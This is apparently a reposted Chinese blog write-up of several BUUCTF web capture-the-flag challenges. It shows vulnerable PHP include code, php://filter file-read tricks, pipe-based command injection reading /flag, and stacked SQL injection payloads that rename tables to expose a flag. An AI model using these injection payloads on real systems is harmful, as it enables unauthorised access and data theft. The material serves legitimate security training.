文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

BUUCTF_web(持续更新中)

2023-09-13 15:16

关注

BUUCTF

[极客大挑战 2019]EasySQL

直接使用万能密码
在这里插入图片描述

[HCTF 2018]WarmUp

 <?php    highlight_file(__FILE__);    class emmm    {        public static function checkFile(&$page)        {            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];            if (! isset($page) || !is_string($page)) {                echo "you can't see it";                return false;            }            if (in_array($page, $whitelist)) {                return true;            }            $_page = mb_substr(                $page,                0,                mb_strpos($page . '?', '?')            );            if (in_array($_page, $whitelist)) {                return true;            }            $_page = urldecode($page);            $_page = mb_substr(                $_page,                0,                mb_strpos($_page . '?', '?')            );            if (in_array($_page, $whitelist)) {                return true;            }            echo "you can't see it";            return false;        }    }    if (! empty($_REQUEST['file'])        && is_string($_REQUEST['file'])        && emmm::checkFile($_REQUEST['file'])    ) {        include $_REQUEST['file'];        exit;    } else {        echo "
"
; } ?>

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php php://filter
是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西;
使用不同的参数可以达到不同的目的和效果: resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 write=<写链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 <;两个链的筛选列表> 任何没有以 read= 或write=作前缀
的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

[ACTF2020 新生赛]Exec

查看此文件的目录:127.0.0.1|ls
在这里插入图片描述
查看上级目录127.0.0.1|ls /
在这里插入图片描述
查看flag:127.0.0.1|cat /flag
在这里插入图片描述

[强网杯 2019]随便注

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,
我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做
stacked injection。

1';show databases;#

在这里插入图片描述

1';show tables;#

在这里插入图片描述
查出两个表,1919810931114514words

1';show columns from words;#

在这里插入图片描述
注意:表名为数字时,要用反引号包起来查询。

1';show columns from `1919810931114514`;#

在这里插入图片描述
发现表中有flag字段,接下来我们需要思考的就是如何查到flag中的内容。

  • 通过 rename 先把 words 表改名为其他的表名。
  • 把 1919810931114514 表的名字改为 words 。
  • 给新words 表添加新的列名 id 。
  • 将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

在这里插入图片描述

来源地址:https://blog.csdn.net/weixin_52385170/article/details/127289456

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯